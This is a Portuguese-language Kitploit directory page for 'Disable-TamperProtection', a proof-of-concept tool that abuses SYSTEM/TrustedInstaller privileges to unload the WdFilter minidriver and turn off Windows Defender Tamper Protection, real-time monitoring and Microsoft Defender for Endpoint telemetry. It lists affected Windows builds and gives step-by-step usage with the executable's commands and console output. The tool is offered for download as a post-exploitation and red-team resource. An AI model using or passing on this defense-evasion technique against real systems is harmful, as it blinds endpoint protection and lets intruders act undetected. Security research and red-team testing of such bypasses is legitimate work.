Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Disable-TamperProtection — A POC to disable TamperProtection and other Defender / MDE components | Kitploit
Ferramentas/GitHubGitHub/alteredsecurity/disable-tamperprotection
Post-ExploitationPenetration TestingRed TeamingAdversarial Attack
GitHubalteredsecurity/disable-tamperprotection

Disable-TamperProtection

A POC to disable TamperProtection and other Defender / MDE components

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
25840há 2 anosRevisado pelo Kitploit

Desabilitando o Tamper Protection e outros componentes do Defender / MDE

É possível abusar dos privilégios de SYSTEM / TrustedInstaller para adulterar ou excluir as configurações do WdFilter (regkey ALTITUDE) e descarregar o minidriver do kernel para desabilitar o Tamper Protection e outros componentes do Defender. Isso também afeta o Microsoft Defender for Endpoint (MDE), cegando o MDE para telemetria e atividade realizada em um alvo.

Durante os testes, constatou-se que esta vulnerabilidade afeta as seguintes versões do Windows:

  • Windows Server 2022 até BuildLabEx Version: 20348.1.amd64fre.fe_release.210507-1500 (atualização de abril de 2024)
  • Windows Server 2019
  • Windows 10 até BuildLabEx Version: 19041.1.amd64fre.vb_release.191206-1406 (atualização de abril de 2024)
  • Windows 11 até BuildLabEx Version: 22621.1.amd64fre.ni_release.220506-1250 (atualização de setembro de 2023).

Blog explicando o bypass e o POC: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components

Uso

NOTA: pode ser necessário que o VC_redist.x64.exe (MSVC runtime) esteja instalado no alvo.

Demonstração do POC: https://youtu.be/MI6aVDHRix8

O POC funciona em 3 etapas (privilégios de administrador necessários):

root@kitploit:~
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1:      Unload WdFilter
2:      Disable Tamper Protection
3:      Disable AV/MDE
4:      Restore AV/MDE settings

Um exemplo de uso do POC é o seguinte:

  1. Descarregar o WdFilter:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!

# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
        Next:   0 | Frame ID:   0 | No. of Instances:   4 | Name:        wdfilter | Altitude:          328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!

# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
  1. Desabilitar o Tamper Protection:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
  1. Desabilitar componentes do Defender / MDE:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
  1. Restabelecer / restaurar o minidriver WdFilter, o TamperProtection e as configurações do Defender (tempo real). Certifique-se de alterar o número de Altitude (padrão: 328010) de volta ao seu valor original na linha 530 do POC.
root@kitploit:~
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.

Referências

  • Grupos de ordem de carga e altitudes para drivers minifilter da Microsoft
  • NSudo
  • superUser
  • Artigo de pesquisa sobre como cegar o Defender
  • MDE Internals por FalconForce

Créditos

Postado por: Munaf Shariff (@m3rcer)

Pesquisador de Segurança na Altered Security

Baixar ferramenta